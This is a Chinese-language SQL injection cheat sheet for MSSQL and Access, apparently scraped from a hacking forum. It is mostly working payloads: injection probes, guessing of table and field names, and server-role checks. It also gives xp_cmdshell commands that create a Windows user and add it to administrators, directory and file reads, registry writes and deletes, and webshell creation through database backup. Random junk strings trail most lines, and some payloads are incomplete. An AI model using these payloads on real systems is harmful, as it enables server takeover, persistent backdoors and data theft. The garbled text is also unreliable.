1.判断是否有注入;and 1=1 ;and 1=2 P<IDb%W
2.初步判断是否是mssql ;and user>0 l WYp
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3.注入参数是字符'and [查询条件] and ''=' HF0G=U}i
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' '^TeV=
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5.判断数据库系统 Jw _>I
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;and (select count(*) from sysobjects)>0 mssql .=;IdLO,Bf
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;and (select count(*) from msysobjects)>0 access bB?E(>N;
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 42]7N3:'
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 |'z8>1
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 2
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9.(1)猜字段的ascii值(access) y7hDMQ c'
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10.测试权限结构(mssql) J'Pyn
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- <-k!
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- ,40OCd!
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- Ysu\CZGX
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- ^OiL&p;r
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- At\(/Zy
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- x.-d)]a!
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11.添加mssql和系统的帐户 Mm$\j*f/
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;exec master.dbo.sp_addlogin username;-- 2yK">xYY@
;exec master.dbo.sp_password null,username,password;-- ]^C 8Oh<
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- qf(mJlU
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;exec master.dbo.xp_cmdshell 'net user username password d[_26.
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- 1x|3|snz)
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- lBbb7*Ljt<
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- ]QaKXg)3q
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12.(1)遍历目录 cR3d&/_,U
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;create table dirs(paths varchar(100), id int) Dylm=ZZa
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;insert dirs exec master.dbo.xp_dirtree 'c:\' AI2XNSV@Yl
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;and (select top 1 paths from dirs)>0 Iuxf`sd
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) S-Y{Vi"2
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(2)遍历目录 (%fQhQ
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- Hi09?AX
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 QH-CZ6M
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 {<ShUN
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 jg?UwR&
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 y5sH7`2+5
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13.mssql中的存储过程 2uEI@B
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xp_regenumvalues 注册表根键, 子键 } [#8>T
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 XKTDBaON
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xp_regread 根键,子键,键值名 "\@J0|ppb
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;exec xp_regread dCoP
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 >.qFhO\1so
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xp_regwrite 根键,子键, 值名, 值类型, 值 i?/Q7D<P
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值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 zls^JTE
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 @m5J%8>k
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xp_regdeletevalue 根键,子键,值名 !kSemDC
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 FXr^ 4B}
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 vt5w(}v(
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14.mssql的backup创建webshell ^dpM2$J
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use model {Z/iYHv~#c
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insert into cmd(str) values (''); qA '^b~
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backup database model to disk='c:\l.asp'; p-"C^=l
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15.mssql内置函数 ]izHn; +
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;and (select @@version)>0 获得Windows的版本号 m^oG9&";
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa 1vq2`lWpx
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;and (select user_name())>0 爆当前系统的连接用户 ]lA}5
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;and (select db_name())>0 得到当前连接的数据库 B5 /8LEWw
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16.简洁的webshell
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create table cmd(str image); |vd|;" `
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insert into cmd(str) values (''); <p<6!tdO
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backup database model to disk='g:\wwwtest\l.asp';